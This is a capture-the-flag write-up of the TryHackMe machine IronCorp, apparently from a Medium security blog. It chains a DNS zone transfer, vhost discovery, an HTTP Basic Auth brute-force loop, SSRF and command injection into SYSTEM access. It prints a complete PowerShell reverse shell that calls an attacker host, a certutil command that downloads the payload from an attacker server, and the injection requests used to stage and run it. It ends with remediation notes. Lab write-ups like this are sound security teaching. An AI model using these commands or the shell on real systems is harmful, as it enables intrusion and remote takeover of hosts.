IronCorp is a Windows-based TryHackMe machine that chains together several distinct techniques to achieve SYSTEM-level access without ever exploiting a CVE. The attack path moves through DNS enumeration, vhost discovery, HTTP Basic Auth brute force, server-side request forgery, and finally command injection via a chained internal endpoint. No privilege escalation was needed — initial access landed directly as nt authority\system.

Difficulty: Hard Platform: TryHackMe OS: Windows Server 2016 (10.0.14393) Techniques: DNS zone transfer, vhost enumeration, HTTP Basic Auth bruteforce, SSRF, command injection
Table of Contents
1. Reconnaissance
1.1 Fast Nmap Scan
1.2 Full Port Scan
1.3 Service Version Scan
2. DNS Enumeration
2.1 Zone Transfer
2.2 Subdomain Bruteforce
3. Web Enumeration
3.1 Port 8080 — IIS (Dashtreme Dashboard)
3.2 Port 11025 — Apache + PHP
3.3 Vhost Fingerprinting
4. Foothold
4.1 HTTP Basic Auth Bruteforce
4.2 Attacking internal.ironcorp.me — Dead Ends
4.3 Admin Panel Analysis
4.4 SSRF Discovery and Confirmation
4.5 Command Injection via SSRF Chain
5. Shell Delivery
5.1 Payload Preparation
5.2 Staging and Execution
6. Post-Exploitation
6.1 Flag Retrieval
7. Remediation Notes
1. Reconnaissance
1.1 Fast Nmap Scan
nmap -Pn -sC -F <TARGET_IP>
PORT STATE SERVICE
53/tcp open domain
135/tcp open msrpc
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
RDP with NLA enforced (CredSSP required), IIS on 8080, DNS on 53 — DNS zone transfer is the immediate priority, given the ironcorp.me hostname returned.
1.2 Full Port Scan
nmap -Pn -p- --min-rate 3000 <TARGET_IP> -oN ironcorp_fullscan.txt
PORT STATE SERVICE
53/tcp open domain
135/tcp open msrpc
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
11025/tcp open unknown
49667/tcp open unknown
49670/tcp open unknown
Port 11025 is the standout — an unknown service on a non-standard port warranting immediate version detection.
1.3 Service Version Scan
nmap -Pn -p53,135,3389,8080,11025,49667,49670 -sC -sV <TARGET_IP>
Key results:
8080/tcp open http Microsoft IIS httpd 10.0
Title: Dashtreme Admin - Free Dashboard for Bootstrap 4 by Codervent
11025/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.4.4)
Title: Coming Soon - Start Bootstrap Theme
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Two separate web stacks on the same machine. IIS on 8080 and Apache + PHP 7.4.4 on 11025. The Apache stack is the more interesting attack surface.
2. DNS Enumeration
2.1 Zone Transfer
dig axfr ironcorp.me @<TARGET_IP>
ironcorp.me. 3600 IN SOA win-8vmbkf3g815. hostmaster. 3 900 600 86400 3600
ironcorp.me. 3600 IN NS win-8vmbkf3g815.
admin.ironcorp.me. 3600 IN A 127.0.0.1
internal.ironcorp.me.3600 IN A 127.0.0.1
ironcorp.me. 3600 IN SOA win-8vmbkf3g815. hostmaster. 3 900 600 86400 3600

Zone transfer succeeded and leaked two internal subdomains: admin.ironcorp.me and internal.ironcorp.me, both resolving to 127.0.0.1. This means neither subdomain is directly reachable from outside — they are loopback-bound services that must be reached through the machine itself, making SSRF an attractive vector later.
2.2 Subdomain Bruteforce
gobuster dns --domain ironcorp.me --resolver <TARGET_IP>:53 \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Confirmed only the two subdomains from the zone transfer. No additional hidden subdomains.
3. Web Enumeration
3.1 Port 8080 — IIS (Dashtreme Dashboard)
gobuster dir -u http://<TARGET_IP>:8080 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,asp,aspx -t 40
Index.html (Status: 200) [Size: 20040]
Login.html (Status: 200) [Size: 5025]
assets (Status: 301)
calendar.html (Status: 200)
forms.html (Status: 200)
profile.html (Status: 200)
register.html (Status: 200)
Reviewing the login form source:
curl -s http://<TARGET_IP>:8080/login.html | grep -i "action\|method\|input\|form"
The form has no action attribute and no JavaScript submission handler — it is a pure static HTML template with no backend. The entire IIS site is a decorative Dashtreme freebie. Dead end.
3.2 Port 11025 — Apache + PHP
curl -s http://<TARGET_IP>:11025/ | grep -i "<title>"
<title>Coming Soon - Start Bootstrap Theme</title>
Default vhost serves a static Coming Soon page. Directory enumeration was attempted:
gobuster dir -u http://<TARGET_IP>:11025 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,txt -t 20 --timeout 20s
The scan timed out repeatedly — Apache was rate-limiting or dropping connections on this port under load. Directory enumeration against the default vhost was abandoned in favour of vhost fingerprinting.
3.3 Vhost Fingerprinting
Since both subdomains resolve to loopback, they cannot be reached by DNS. However, Apache routes requests based on the Host header regardless of DNS. Testing each vhost directly against port 11025:
curl -s -H "Host: admin.ironcorp.me" http://<TARGET_IP>:11025/ | grep -i "<title>"
<title>Authentication required!</title>
curl -s -H "Host: internal.ironcorp.me" http://<TARGET_IP>:11025/ | grep -i "<title>"
<title>Access forbidden!</title>
Three completely distinct applications behind one Apache instance:
Default vhost → Coming Soon (static)
admin.ironcorp.me → HTTP Basic Auth gate (401)
internal.ironcorp.me → IP-restricted (403)
4. Foothold
4.1 HTTP Basic Auth Bruteforce
Checking the auth realm:
curl -sv -H "Host: admin.ironcorp.me" http://<TARGET_IP>:11025/ 2>&1 | grep -i "www-authenticate"
WWW-Authenticate: Basic realm="My Protected Area"
Standard HTTP Basic Auth. Hydra v9.6 has a broken -m flag for custom headers on http-get — It silently ignores the Host header and hits the default vhost, producing false positives (every password appears valid because the Coming Soon page returns 200 unconditionally). The reliable approach is a curl loop that correctly passes the Host header on every attempt:
while IFS= read -r pass; do
result=$(curl -s -o /dev/null -w "%{http_code}" \
-u "admin:$pass" \
-H "Host: admin.ironcorp.me" \
http://<TARGET_IP>:11025/)
echo "Trying admin:$pass → $result"
if [ "$result" == "200" ]; then
echo "[+] FOUND: admin:$pass"
break
fi
done < /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
[+] FOUND: admin:[REDACTED]
4.2 Attacking internal.ironcorp.me — Dead Ends
While the curl loop ran against the admin vhost, the internal.ironcorp.me 403 response was investigated in parallel.
403 bypass via header spoofing — the internal vhost appeared to restrict access by IP. Standard bypass headers were tested to see if Apache was trusting client-supplied headers:
curl -s -H "Host: internal.ironcorp.me" -H "X-Forwarded-For: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"
curl -s -H "Host: internal.ironcorp.me" -H "X-Real-IP: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"
curl -s -H "Host: internal.ironcorp.me" -H "Client-IP: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"
All three returned Access forbidden! — The server is not trusting any of these headers for access control decisions. Header-based IP spoofing does not work here.
Git repository exposure — directory enumeration on the internal vhost (with 403 responses suppressed) surfaced a .git/logs/ entry:
gobuster dir -u http://<TARGET_IP>:11025 -H "Host: internal.ironcorp.me" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,txt -t 20 --timeout 20s --exclude-length 1072
.git/logs/ (Status: 403) [Size: 1086]
A .git directory on a live web server is a serious misconfiguration — the repository contents can sometimes be reconstructed even without directory listing. git-dumper was used to attempt extraction:
git-dumper "http://<TARGET_IP>:11025/.git/" ./internal_git \
-H "Host=internal.ironcorp.me"
[-] Testing http://<TARGET_IP>:11025/.git/HEAD [403]
[-] responded with status code 403
Individual .git Files are also protected with 403 — the repository is not dumpable from outside. Both avenues exhausted. The internal vhost can only be reached through the machine itself, making SSRF the correct path once admin panel access is obtained.
4.3 Admin Panel Analysis
curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
http://<TARGET_IP>:11025/ | grep -i "title\|form\|input\|action\|href"
Two key findings in the response:
Finding 1 — Internal endpoint leak:
<b>You can find your name <a href=http://internal.ironcorp.me:11025/name.php?name=>here</a>
Finding 2 — Search panel with r parameter:
<form method="GET" action="#">
<input name="r" type="text" placeholder="******" />
<input type="submit" />
</form>

The r parameter is masked with asterisks — intentionally obscured. Combined with the leaked internal.ironcorp.me Reference, this strongly suggests the r parameter performs server-side URL fetching.
4.4 SSRF Discovery and Confirmation
Testing r as an SSRF vector with --data-urlencode to avoid URL encoding issues:
curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test" \
http://<TARGET_IP>:11025/ | grep -A3 "My name"
<b>My name is: </b><pre>
Equinoxtest
</pre>
SSRF confirmed. The r parameter fetches URLs server-side and reflects the response inline. The server can reach internal.ironcorp.me — which is forbidden from outside — through itself. The name parameter is also reflecting input based on a <pre> block.
4.5 Command Injection via SSRF Chain
Testing pipe injection on the name parameter, delivered via SSRF:
curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|whoami" \
http://<TARGET_IP>:11025/ | grep -A3 "My name"
<b>My name is: </b><pre>
nt authority\system
</pre>
RCE as nt authority\system. The pipe separator (|) is passed unsanitised to a system call inside name.php. The full chain:
Attacker → SSRF via ?r= → internal.ironcorp.me/name.php → pipe injection → SYSTEM shell
5. Shell Delivery
5.1 Payload Preparation
Direct PowerShell download cradles fail due to special characters ((, ), ') breaking Apache's URL parsing at the SSRF relay layer. The solution is a two-stage approach — download with certutil (no special characters), Then execute separately.
Preparing the PowerShell reverse shell:
cat > /tmp/shell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOF
Starting the listener and HTTP server:
# Terminal 1
rlwrap nc -lvnp 4444
# Terminal 2
cd /tmp && python3 -m http.server 8000
5.2 Staging and Execution
Step 1 — Download payload to target via certutil:
curl -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|certutil+-urlcache+-split+-f+http://<ATTACKER_IP>:8000/shell.ps1+C:\Windows\Temp\s.ps1" \
http://<TARGET_IP>:11025/ 2>&1 | grep -A3 "My name"
My name is:
**** Online ****
0000 ...
01f8

The HTTP server confirmed the GET request for shell.ps1. File downloaded successfully to C:\Windows\Temp\s.ps1.
Step 2 — Execute the payload:
curl -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|powershell+C:\Windows\Temp\s.ps1" \
http://<TARGET_IP>:11025/
# Terminal 1
Listening on 0.0.0.0 4444
Connection received on <TARGET_IP> 50151

Shell caught.
whoami
nt authority\system
6. Post-Exploitation
6.1 Flag Retrieval
type C:\Users\Administrator\Desktop\user.txt
thm{REDACTED}type C:\Users\SuperAdmin\Desktop\root.txt
thm{REDACTED}Note on shell stability: The PowerShell reverse shell over raw TCP occasionally drops dir output in certain directories. Using type or Get-Content to read files directly bypasses this and works reliably. For a more stable session on Windows, evil-winrm (if WinRM is open) or a Meterpreter session via msfvenom are preferred alternatives.
7. Remediation Notes
DNS zone transfer unrestricted: The DNS server was configured to allow zone transfers from any host, leaking the full internal zone i, including loopback-bound subdomains. Zone transfers should be restricted to authorised secondary nameservers only, using. allow-transfer ACLs.
Weak HTTP Basic Auth credentials: The admin panel was protected with a trivially guessable password present in common wordlists. Credentials should meet minimum complexity requirements, and rate-limiting lockout policies should be enforced on auth endpoints.
SSRF via unsanitised URL parameter: The r parameter on the admin panel accepted arbitrary URLs and fetched them server-side without validation or allowlisting. The application should implement a strict allowlist of permitted internal endpoints and reject any URL not matching it.
Command injection in name.php: User input was passed unsanitised to a system call. This is the most critical finding. Input should be validated against a strict allowlist of permitted characters, and shell metacharacters should be stripped or escaped before any system call.
Internal vhost exposed via SSRF: The internal.ironcorp.me vhost was protected only by IP-based access control, which was trivially bypassed once SSRF was established. Internal services should not rely solely on network-layer controls — they should implement their own authentication independently.
IronCorp — DNS Zone Transfer → SSRF → Command Injection → SYSTEM | TryHackMe was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.
SOCIAL SHARE CARD GENERATOR